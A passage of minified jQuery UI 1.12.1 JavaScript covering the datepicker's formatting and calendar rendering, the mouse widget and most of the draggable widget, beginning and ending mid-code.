h(t)?s[e]:i[e]},u="",d=!1;if(e)for(s=0;t.length>s;s++)if(d)"'"!==t.charAt(s)||h("'")?u+=t.charAt(s):d=!1;else switch(t.charAt(s)){case"d":u+=l("d",e.getDate(),2);break;case"D":u+=c("D",e.getDay(),n,o);break;case"o":u+=l("o",Math.round((new Date(e.getFullYear(),e.getMonth(),e.getDate()).getTime()-new Date(e.getFullYear(),0,0).getTime())/864e5),3);break;case"m":u+=l("m",e.getMonth()+1,2);break;case"M":u+=c("M",e.getMonth(),a,r);break;case"y":u+=h("y")?e.getFullYear():(10>e.getFullYear()%100?"0":"")+e.getFullYear()%100;break;case"@":u+=e.getTime();break;case"!":u+=1e4*e.getTime()+this._ticksTo1970;break;case"'":h("'")?u+="'":d=!0;break;default:u+=t.charAt(s)}return u},_possibleChars:function(t){var e,i="",s=!1,n=function(i){var s=t.length>e+1&&t.charAt(e+1)===i;return s&&e++,s};for(e=0;t.length>e;e++)if(s)"'"!==t.charAt(e)||n("'")?i+=t.charAt(e):s=!1;else switch(t.charAt(e)){case"d":case"m":case"y":case"@":i+="0123456789";break;case"D":case"M":return null;case"'":n("'")?i+="'":s=!0;break;default:i+=t.charAt(e)}return i},_get:function(t,e){return void 0!==t.settings[e]?t.settings[e]:this._defaults[e]},_setDateFromField:function(t,e){if(t.input.val()!==t.lastVal){var i=this._get(t,"dateFormat"),s=t.lastVal=t.input?t.input.val():null,n=this._getDefaultDate(t),o=n,a=this._getFormatConfig(t);try{o=this.parseDate(i,s,a)||n}catch(r){s=e?"":s}t.selectedDay=o.getDate(),t.drawMonth=t.selectedMonth=o.getMonth(),t.drawYear=t.selectedYear=o.getFullYear(),t.currentDay=s?o.getDate():0,t.currentMonth=s?o.getMonth():0,t.currentYear=s?o.getFullYear():0,this._adjustInstDate(t)}},_getDefaultDate:function(t){return this._restrictMinMax(t,this._determineDate(t,this._get(t,"defaultDate"),new Date))},_determineDate:function(e,i,s){var n=function(t){var e=new Date;return e.setDate(e.getDate()+t),e},o=function(i){try{return t.datepicker.parseDate(t.datepicker._get(e,"dateFormat"),i,t.datepicker._getFormatConfig(e))}catch(s){}for(var n=(i.toLowerCase().match(/^c/)?t.datepicker._getDate(e):null)||new Date,o=n.getFullYear(),a=n.getMonth(),r=n.getDate(),h=/([+\-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g,l=h.exec(i);l;){switch(l[2]||"d"){case"d":case"D":r+=parseInt(l[1],10);break;case"w":case"W":r+=7*parseInt(l[1],10);break;case"m":case"M":a+=parseInt(l[1],10),r=Math.min(r,t.datepicker._getDaysInMonth(o,a));break;case"y":case"Y":o+=parseInt(l[1],10),r=Math.min(r,t.datepicker._getDaysInMonth(o,a))}l=h.exec(i)}return new Date(o,a,r)},a=null==i||""===i?s:"string"==typeof i?o(i):"number"==typeof i?isNaN(i)?s:n(i):new Date(i.getTime());return a=a&&"Invalid Date"==""+a?s:a,a&&(a.setHours(0),a.setMinutes(0),a.setSeconds(0),a.setMilliseconds(0)),this._daylightSavingAdjust(a)},_daylightSavingAdjust:function(t){return t?(t.setHours(t.getHours()>12?t.getHours()+2:0),t):null},_setDate:function(t,e,i){var s=!e,n=t.selectedMonth,o=t.selectedYear,a=this._restrictMinMax(t,this._determineDate(t,e,new Date));t.selectedDay=t.currentDay=a.getDate(),t.drawMonth=t.selectedMonth=t.currentMonth=a.getMonth(),t.drawYear=t.selectedYear=t.currentYear=a.getFullYear(),n===t.selectedMonth&&o===t.selectedYear||i||this._notifyChange(t),this._adjustInstDate(t),t.input&&t.input.val(s?"":this._formatDate(t))},_getDate:function(t){var e=!t.currentYear||t.input&&""===t.input.val()?null:this._daylightSavingAdjust(new Date(t.currentYear,t.currentMonth,t.currentDay));return e},_attachHandlers:function(e){var i=this._get(e,"stepMonths"),s="#"+e.id.replace(/\\\\/g,"\\");e.dpDiv.find("[data-handler]").map(function(){var e={prev:function(){t.datepicker._adjustDate(s,-i,"M")},next:function(){t.datepicker._adjustDate(s,+i,"M")},hide:function(){t.datepicker._hideDatepicker()},today:function(){t.datepicker._gotoToday(s)},selectDay:function(){return t.datepicker._selectDay(s,+this.getAttribute("data-month"),+this.getAttribute("data-year"),this),!1},selectMonth:function(){return t.datepicker._selectMonthYear(s,this,"M"),!1},selectYear:function(){return t.datepicker._selectMonthYear(s,this,"Y"),!1}};t(this).on(this.getAttribute("data-event"),e[this.getAttribute("data-handler")])})},_generateHTML:function(t){var e,i,s,n,o,a,r,h,l,c,u,d,p,f,g,m,_,v,b,y,w,k,x,C,D,I,T,P,M,S,H,z,O,A,N,W,E,F,L,R=new Date,B=this._daylightSavingAdjust(new Date(R.getFullYear(),R.getMonth(),R.getDate())),Y=this._get(t,"isRTL"),j=this._get(t,"showButtonPanel"),q=this._get(t,"hideIfNoPrevNext"),K=this._get(t,"navigationAsDateFormat"),U=this._getNumberOfMonths(t),V=this._get(t,"showCurrentAtPos"),$=this._get(t,"stepMonths"),X=1!==U[0]||1!==U[1],G=this._daylightSavingAdjust(t.currentDay?new Date(t.currentYear,t.currentMonth,t.currentDay):new Date(9999,9,9)),Q=this._getMinMaxDate(t,"min"),J=this._getMinMaxDate(t,"max"),Z=t.drawMonth-V,te=t.drawYear;if(0>Z&&(Z+=12,te--),J)for(e=this._daylightSavingAdjust(new Date(J.getFullYear(),J.getMonth()-U[0]*U[1]+1,J.getDate())),e=Q&&Q>e?Q:e;this._daylightSavingAdjust(new Date(te,Z,1))>e;)Z--,0>Z&&(Z=11,te--);for(t.drawMonth=Z,t.drawYear=te,i=this._get(t,"prevText"),i=K?this.formatDate(i,this._daylightSavingAdjust(new Date(te,Z-$,1)),this._getFormatConfig(t)):i,s=this._canAdjustMonth(t,-1,te,Z)?"<a class='ui-datepicker-prev ui-corner-all' data-handler='prev' data-event='click' title='"+i+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"e":"w")+"'>"+i+"</span></a>":q?"":"<a class='ui-datepicker-prev ui-corner-all ui-state-disabled' title='"+i+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"e":"w")+"'>"+i+"</span></a>",n=this._get(t,"nextText"),n=K?this.formatDate(n,this._daylightSavingAdjust(new Date(te,Z+$,1)),this._getFormatConfig(t)):n,o=this._canAdjustMonth(t,1,te,Z)?"<a class='ui-datepicker-next ui-corner-all' data-handler='next' data-event='click' title='"+n+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"w":"e")+"'>"+n+"</span></a>":q?"":"<a class='ui-datepicker-next ui-corner-all ui-state-disabled' title='"+n+"'><span class='ui-icon ui-icon-circle-triangle-"+(Y?"w":"e")+"'>"+n+"</span></a>",a=this._get(t,"currentText"),r=this._get(t,"gotoCurrent")&&t.currentDay?G:B,a=K?this.formatDate(a,r,this._getFormatConfig(t)):a,h=t.inline?"":"<button type='button' class='ui-datepicker-close ui-state-default ui-priority-primary ui-corner-all' data-handler='hide' data-event='click'>"+this._get(t,"closeText")+"</button>",l=j?"<div class='ui-datepicker-buttonpane ui-widget-content'>"+(Y?h:"")+(this._isInRange(t,r)?"<button type='button' class='ui-datepicker-current ui-state-default ui-priority-secondary ui-corner-all' data-handler='today' data-event='click'>"+a+"</button>":"")+(Y?"":h)+"</div>":"",c=parseInt(this._get(t,"firstDay"),10),c=isNaN(c)?0:c,u=this._get(t,"showWeek"),d=this._get(t,"dayNames"),p=this._get(t,"dayNamesMin"),f=this._get(t,"monthNames"),g=this._get(t,"monthNamesShort"),m=this._get(t,"beforeShowDay"),_=this._get(t,"showOtherMonths"),v=this._get(t,"selectOtherMonths"),b=this._getDefaultDate(t),y="",k=0;U[0]>k;k++){for(x="",this.maxRows=4,C=0;U[1]>C;C++){if(D=this._daylightSavingAdjust(new Date(te,Z,t.selectedDay)),I=" ui-corner-all",T="",X){if(T+="<div class='ui-datepicker-group",U[1]>1)switch(C){case 0:T+=" ui-datepicker-group-first",I=" ui-corner-"+(Y?"right":"left");break;case U[1]-1:T+=" ui-datepicker-group-last",I=" ui-corner-"+(Y?"left":"right");break;default:T+=" ui-datepicker-group-middle",I=""}T+="'>"}for(T+="<div class='ui-datepicker-header ui-widget-header ui-helper-clearfix"+I+"'>"+(/all|left/.test(I)&&0===k?Y?o:s:"")+(/all|right/.test(I)&&0===k?Y?s:o:"")+this._generateMonthYearHeader(t,Z,te,Q,J,k>0||C>0,f,g)+"</div><table class='ui-datepicker-calendar'><thead>"+"<tr>",P=u?"<th class='ui-datepicker-week-col'>"+this._get(t,"weekHeader")+"</th>":"",w=0;7>w;w++)M=(w+c)%7,P+="<th scope='col'"+((w+c+6)%7>=5?" class='ui-datepicker-week-end'":"")+">"+"<span title='"+d[M]+"'>"+p[M]+"</span></th>";for(T+=P+"</tr></thead><tbody>",S=this._getDaysInMonth(te,Z),te===t.selectedYear&&Z===t.selectedMonth&&(t.selectedDay=Math.min(t.selectedDay,S)),H=(this._getFirstDayOfMonth(te,Z)-c+7)%7,z=Math.ceil((H+S)/7),O=X?this.maxRows>z?this.maxRows:z:z,this.maxRows=O,A=this._daylightSavingAdjust(new Date(te,Z,1-H)),N=0;O>N;N++){for(T+="<tr>",W=u?"<td class='ui-datepicker-week-col'>"+this._get(t,"calculateWeek")(A)+"</td>":"",w=0;7>w;w++)E=m?m.apply(t.input?t.input[0]:null,[A]):[!0,""],F=A.getMonth()!==Z,L=F&&!v||!E[0]||Q&&Q>A||J&&A>J,W+="<td class='"+((w+c+6)%7>=5?" ui-datepicker-week-end":"")+(F?" ui-datepicker-other-month":"")+(A.getTime()===D.getTime()&&Z===t.selectedMonth&&t._keyEvent||b.getTime()===A.getTime()&&b.getTime()===D.getTime()?" "+this._dayOverClass:"")+(L?" "+this._unselectableClass+" ui-state-disabled":"")+(F&&!_?"":" "+E[1]+(A.getTime()===G.getTime()?" "+this._currentClass:"")+(A.getTime()===B.getTime()?" ui-datepicker-today":""))+"'"+(F&&!_||!E[2]?"":" title='"+E[2].replace(/'/g,"&#39;")+"'")+(L?"":" data-handler='selectDay' data-event='click' data-month='"+A.getMonth()+"' data-year='"+A.getFullYear()+"'")+">"+(F&&!_?"&#xa0;":L?"<span class='ui-state-default'>"+A.getDate()+"</span>":"<a class='ui-state-default"+(A.getTime()===B.getTime()?" ui-state-highlight":"")+(A.getTime()===G.getTime()?" ui-state-active":"")+(F?" ui-priority-secondary":"")+"' href='#'>"+A.getDate()+"</a>")+"</td>",A.setDate(A.getDate()+1),A=this._daylightSavingAdjust(A);T+=W+"</tr>"}Z++,Z>11&&(Z=0,te++),T+="</tbody></table>"+(X?"</div>"+(U[0]>0&&C===U[1]-1?"<div class='ui-datepicker-row-break'></div>":""):""),x+=T}y+=x}return y+=l,t._keyEvent=!1,y},_generateMonthYearHeader:function(t,e,i,s,n,o,a,r){var h,l,c,u,d,p,f,g,m=this._get(t,"changeMonth"),_=this._get(t,"changeYear"),v=this._get(t,"showMonthAfterYear"),b="<div class='ui-datepicker-title'>",y="";if(o||!m)y+="<span class='ui-datepicker-month'>"+a[e]+"</span>";else{for(h=s&&s.getFullYear()===i,l=n&&n.getFullYear()===i,y+="<select class='ui-datepicker-month' data-handler='selectMonth' data-event='change'>",c=0;12>c;c++)(!h||c>=s.getMonth())&&(!l||n.getMonth()>=c)&&(y+="<option value='"+c+"'"+(c===e?" selected='selected'":"")+">"+r[c]+"</option>");y+="</select>"}if(v||(b+=y+(!o&&m&&_?"":"&#xa0;")),!t.yearshtml)if(t.yearshtml="",o||!_)b+="<span class='ui-datepicker-year'>"+i+"</span>";else{for(u=this._get(t,"yearRange").split(":"),d=(new Date).getFullYear(),p=function(t){var e=t.match(/c[+\-].*/)?i+parseInt(t.substring(1),10):t.match(/[+\-].*/)?d+parseInt(t,10):parseInt(t,10);return isNaN(e)?d:e},f=p(u[0]),g=Math.max(f,p(u[1]||"")),f=s?Math.max(f,s.getFullYear()):f,g=n?Math.min(g,n.getFullYear()):g,t.yearshtml+="<select class='ui-datepicker-year' data-handler='selectYear' data-event='change'>";g>=f;f++)t.yearshtml+="<option value='"+f+"'"+(f===i?" selected='selected'":"")+">"+f+"</option>";t.yearshtml+="</select>",b+=t.yearshtml,t.yearshtml=null}return b+=this._get(t,"yearSuffix"),v&&(b+=(!o&&m&&_?"":"&#xa0;")+y),b+="</div>"},_adjustInstDate:function(t,e,i){var s=t.selectedYear+("Y"===i?e:0),n=t.selectedMonth+("M"===i?e:0),o=Math.min(t.selectedDay,this._getDaysInMonth(s,n))+("D"===i?e:0),a=this._restrictMinMax(t,this._daylightSavingAdjust(new Date(s,n,o)));t.selectedDay=a.getDate(),t.drawMonth=t.selectedMonth=a.getMonth(),t.drawYear=t.selectedYear=a.getFullYear(),("M"===i||"Y"===i)&&this._notifyChange(t)},_restrictMinMax:function(t,e){var i=this._getMinMaxDate(t,"min"),s=this._getMinMaxDate(t,"max"),n=i&&i>e?i:e;return s&&n>s?s:n},_notifyChange:function(t){var e=this._get(t,"onChangeMonthYear");e&&e.apply(t.input?t.input[0]:null,[t.selectedYear,t.selectedMonth+1,t])},_getNumberOfMonths:function(t){var e=this._get(t,"numberOfMonths");return null==e?[1,1]:"number"==typeof e?[1,e]:e},_getMinMaxDate:function(t,e){return this._determineDate(t,this._get(t,e+"Date"),null)},_getDaysInMonth:function(t,e){return 32-this._daylightSavingAdjust(new Date(t,e,32)).getDate()},_getFirstDayOfMonth:function(t,e){return new Date(t,e,1).getDay()},_canAdjustMonth:function(t,e,i,s){var n=this._getNumberOfMonths(t),o=this._daylightSavingAdjust(new Date(i,s+(0>e?e:n[0]*n[1]),1));return 0>e&&o.setDate(this._getDaysInMonth(o.getFullYear(),o.getMonth())),this._isInRange(t,o)},_isInRange:function(t,e){var i,s,n=this._getMinMaxDate(t,"min"),o=this._getMinMaxDate(t,"max"),a=null,r=null,h=this._get(t,"yearRange");return h&&(i=h.split(":"),s=(new Date).getFullYear(),a=parseInt(i[0],10),r=parseInt(i[1],10),i[0].match(/[+\-].*/)&&(a+=s),i[1].match(/[+\-].*/)&&(r+=s)),(!n||e.getTime()>=n.getTime())&&(!o||e.getTime()<=o.getTime())&&(!a||e.getFullYear()>=a)&&(!r||r>=e.getFullYear())},_getFormatConfig:function(t){var e=this._get(t,"shortYearCutoff");return e="string"!=typeof e?e:(new Date).getFullYear()%100+parseInt(e,10),{shortYearCutoff:e,dayNamesShort:this._get(t,"dayNamesShort"),dayNames:this._get(t,"dayNames"),monthNamesShort:this._get(t,"monthNamesShort"),monthNames:this._get(t,"monthNames")}},_formatDate:function(t,e,i,s){e||(t.currentDay=t.selectedDay,t.currentMonth=t.selectedMonth,t.currentYear=t.selectedYear);var n=e?"object"==typeof e?e:this._daylightSavingAdjust(new Date(s,i,e)):this._daylightSavingAdjust(new Date(t.currentYear,t.currentMonth,t.currentDay));return this.formatDate(this._get(t,"dateFormat"),n,this._getFormatConfig(t))}}),t.fn.datepicker=function(e){if(!this.length)return this;t.datepicker.initialized||(t(document).on("mousedown",t.datepicker._checkExternalClick),t.datepicker.initialized=!0),0===t("#"+t.datepicker._mainDivId).length&&t("body").append(t.datepicker.dpDiv);var i=Array.prototype.slice.call(arguments,1);return"string"!=typeof e||"isDisabled"!==e&&"getDate"!==e&&"widget"!==e?"option"===e&&2===arguments.length&&"string"==typeof arguments[1]?t.datepicker["_"+e+"Datepicker"].apply(t.datepicker,[this[0]].concat(i)):this.each(function(){"string"==typeof e?t.datepicker["_"+e+"Datepicker"].apply(t.datepicker,[this].concat(i)):t.datepicker._attachDatepicker(this,e)}):t.datepicker["_"+e+"Datepicker"].apply(t.datepicker,[this[0]].concat(i))},t.datepicker=new s,t.datepicker.initialized=!1,t.datepicker.uuid=(new Date).getTime(),t.datepicker.version="1.12.1",t.datepicker,t.ui.ie=!!/msie [\w.]+/.exec(navigator.userAgent.toLowerCase());var _=!1;t(document).on("mouseup",function(){_=!1}),t.widget("ui.mouse",{version:"1.12.1",options:{cancel:"input, textarea, button, select, option",distance:1,delay:0},_mouseInit:function(){var e=this;this.element.on("mousedown."+this.widgetName,function(t){return e._mouseDown(t)}).on("click."+this.widgetName,function(i){return!0===t.data(i.target,e.widgetName+".preventClickEvent")?(t.removeData(i.target,e.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void 0}),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(e){if(!_){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(e),this._mouseDownEvent=e;var i=this,s=1===e.which,n="string"==typeof this.options.cancel&&e.target.nodeName?t(e.target).closest(this.options.cancel).length:!1;return s&&!n&&this._mouseCapture(e)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(e)!==!1,!this._mouseStarted)?(e.preventDefault(),!0):(!0===t.data(e.target,this.widgetName+".preventClickEvent")&&t.removeData(e.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(t){return i._mouseMove(t)},this._mouseUpDelegate=function(t){return i._mouseUp(t)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),e.preventDefault(),_=!0,!0)):!0}},_mouseMove:function(e){if(this._mouseMoved){if(t.ui.ie&&(!document.documentMode||9>document.documentMode)&&!e.button)return this._mouseUp(e);if(!e.which)if(e.originalEvent.altKey||e.originalEvent.ctrlKey||e.originalEvent.metaKey||e.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else if(!this.ignoreMissingWhich)return this._mouseUp(e)}return(e.which||e.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(e),e.preventDefault()):(this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,e)!==!1,this._mouseStarted?this._mouseDrag(e):this._mouseUp(e)),!this._mouseStarted)},_mouseUp:function(e){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,e.target===this._mouseDownEvent.target&&t.data(e.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(e)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete this._mouseDelayTimer),this.ignoreMissingWhich=!1,_=!1,e.preventDefault()},_mouseDistanceMet:function(t){return Math.max(Math.abs(this._mouseDownEvent.pageX-t.pageX),Math.abs(this._mouseDownEvent.pageY-t.pageY))>=this.options.distance},_mouseDelayMet:function(){return this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),t.ui.plugin={add:function(e,i,s){var n,o=t.ui[e].prototype;for(n in s)o.plugins[n]=o.plugins[n]||[],o.plugins[n].push([i,s[n]])},call:function(t,e,i,s){var n,o=t.plugins[e];if(o&&(s||t.element[0].parentNode&&11!==t.element[0].parentNode.nodeType))for(n=0;o.length>n;n++)t.options[o[n][0]]&&o[n][1].apply(t.element,i)}},t.ui.safeBlur=function(e){e&&"body"!==e.nodeName.toLowerCase()&&t(e).trigger("blur")},t.widget("ui.draggable",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this._addClass("ui-draggable"),this._setHandleClassName(),this._mouseInit()},_setOption:function(t,e){this._super(t,e),"handle"===t&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){return(this.helper||this.element).is(".ui-draggable-dragging")?(this.destroyOnClear=!0,void 0):(this._removeHandleClassName(),this._mouseDestroy(),void 0)},_mouseCapture:function(e){var i=this.options;return this.helper||i.disabled||t(e.target).closest(".ui-resizable-handle").length>0?!1:(this.handle=this._getHandle(e),this.handle?(this._blurActiveElement(e),this._blockFrames(i.iframeFix===!0?"iframe":i.iframeFix),!0):!1)},_blockFrames:function(e){this.iframeBlocks=this.document.find(e).map(function(){var e=t(this);return t("<div>").css("position","absolute").appendTo(e.parent()).outerWidth(e.outerWidth()).outerHeight(e.outerHeight()).offset(e.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(e){var i=t.ui.safeActiveElement(this.document[0]),s=t(e.target);s.closest(i).length||t.ui.safeBlur(i)},_mouseStart:function(e){var i=this.options;return this.helper=this._createHelper(e),this._addClass(this.helper,"ui-draggable-dragging"),this._cacheHelperProportions(),t.ui.ddmanager&&(t.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=this.helper.parents().filter(function(){return"fixed"===t(this).css("position")}).length>0,this.positionAbs=this.element.offset(),this._refreshOffsets(e),this.originalPosition=this.position=this._generatePosition(e,!1),this.originalPageX=e.pageX,this.originalPageY=e.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",e)===!1?(this._clear(),!1):(this._cacheHelperProportions(),t.ui.ddmanager&&!i.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e),this._mouseDrag(e,!0),t.ui.ddmanager&&t.ui.ddmanager.dragStart(this,e),!0)},_refreshOffsets:function(t){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:t.pageX-this.offset.left,top:t.pageY-this.offset.top}},_mouseDrag:function(e,i){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(e,!0),this.positionAbs=this._convertPositionTo("absolute"),!i){var s=this._uiHash();if(this._trigger("drag",e,s)===!1)return this._mouseUp(new t.Event("mouseup",e)),!1;this.position=s.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",t.ui.ddmanager&&t.ui.ddmanager.drag(this,e),!1},_mouseStop:function(e){var i=this,s=!1;return t.ui.ddmanager&&!this.options.dropBehaviour&&(s=t.ui.ddmanager.drop(this,e)),this.dropped&&(s=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||this.options.revert===!0||t.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?t(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger("stop",e)!==!1&&i._clear()}):this._trigger("stop",e)!==!1&&this._clear(),!1},_mouseUp:function(e){return this._unblockFrames(),t.ui.ddmanager&&t.ui.ddmanager.dragStop(this,e),this.handleElement.is(e.target)&&this.element.trigger("focus"),t.ui.mouse.prototype._mouseUp.call(this,e)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp(new t.Event("mouseup",{target:this.element[0]})):this._clear(),this},_getHandle:function(e){return this.options.handle?!!t(e.target).closest(this.element.find(this.options.handle)).length:!0},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this._addClass(this.handleElement,"ui-draggable-handle")},_removeHandleClassName:function(){this._removeClass(this.handleElement,"ui-draggable-handle")},_createHelper:function(e){var i=this.options,s=t.isFunction(i.helper),n=s?t(i.helper.apply(this.element[0],[e])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element;return n.parents("body").length||n.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),s&&n[0]===this.element[0]&&this._setPositionRelative(),n[0]===this.element[0]||/(fixed|absolute)/.test(n.css("position"))||n.css("position","absolute"),n},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(e){"string"==typeof e&&(e=e.split(" ")),t.isArray(e)&&(e={left:+e[0],top:+e[1]||0}),"left"in e&&(this.offset.click.left=e.left+this.margins.left),"right"in e&&(this.offset.click.left=this.helperProportions.width-e.right+this.margins.left),"top"in e&&(this.offset.click.top=e.top+this.margins.top),"bottom"in e&&(this.offset.click.top=this.helperProportions.height-e.bottom+this.margins.top)},_isRootNode:function(t){return/(html|body)/i.test(t.tagName)||t===this.document[0]},_getParentOffset:function(){var e=this.offsetParent.offset(),i=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==i&&t.contains(this.scrollParent[0],this.offsetParent[0])&&(e.left+=this.scrollParent.scrollLeft(),e.top+=this.scrollParent.scrollTop()),this._isRootNode(this.offsetParent[0])&&(e={top:0,left:0}),{top:e.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:e.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var t=this.element.position(),e=this._isRootNode(this.scrollParent[0]);return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+(e?0:this.scrollParent.scrollTop()),left:t.left-(parseInt(this.helper.css("left"),10)||0)+(e?0:this.scrollParent.scrollLeft())}
},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e,i,s,n=this.options,o=this.document[0];return this.relativeContainer=null,n.containment?"window"===n.containment?(this.containment=[t(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,t(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,t(window).scrollLeft()+t(window).width()-this.helperProportions.width-this.margins.left,t(window).scrollTop()+(t(window).height()||o.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):"document"===n.containment?(this.containment=[0,0,t(o).width()-this.helperProportions.width-this.margins.left,(t(o).height()||o.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):n.containment.constructor===Array?(this.containment=n.containment,void 0):("parent"===n.containment&&(n.containment=this.helper[0].parentNode),i=t(n.containment),s=i[0],s&&(e=/(scroll|auto)/.test(i.css("overflow")),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(e?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(e?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=i),void 0):(this.containment=null,void 0)},_convertPositionTo:function(t,e){e||(e=this.position);var i="absolute"===t?1:-1,s=this._isRootNode(this.scrollParent[0]);return{top:e.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.offset.scroll.top:s?0:this.offset.scroll.top)*i,left:e.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.offset.scroll.left:s?0:this.offset.scroll.left)*i}},_generatePosition:function(t,e){var i,s,n,o,a=this.options,r=this._isRootNode(this.scrollParent[0]),h=t.pageX,l=t.pageY;return r&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),e&&(this.containment&&(this.relativeContainer?(s=this.relativeContainer.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,t.pageX-this.offset.click.left<i[0]&&(h=i[0]+this.offset.click.left),t.pageY-this.offset.click.top<i[1]&&(l=i[1]+this.offset.click.top),t.pageX-this.offset.click.left>i[2]&&(h=i[2]+this.offset.click.left),t.pageY-this.offset.click.top>i[3]&&(l=i[3]+this.offset.click.top)),a.grid&&(n=a.grid[1]?this.originalPageY+Math.round((l-this.originalPageY)/a.grid[1])*a.grid[1]:this.originalPageY,l=i?n-this.offset.click.top>=i[1]||n-this.offset.click.top>i[3]?n:n-this.offset.click.top>=i[1]?n-a.grid[1]:n+a.grid[1]:n,o=a.grid[0]?this.originalPageX+Math.round((h-this.originalPageX)/a.grid[0])*a.grid[0]:this.originalPageX,h=i?o-this.offset.click.left>=i[0]||o-this.offset.click.left>i[2]?o:o-this.offset.click.left>=i[0]?o-a.grid[0]:o+a.grid[0]:o),"y"===a.axis&&(h=this.originalPageX),"x"===a.axis&&(l=this.originalPageY)),{top:l-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:r?0:this.offset.scroll.top),left:h-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:r?0:this.offset.scroll.left)}},_clear:function(){this._removeClass(this.helper,"ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_tr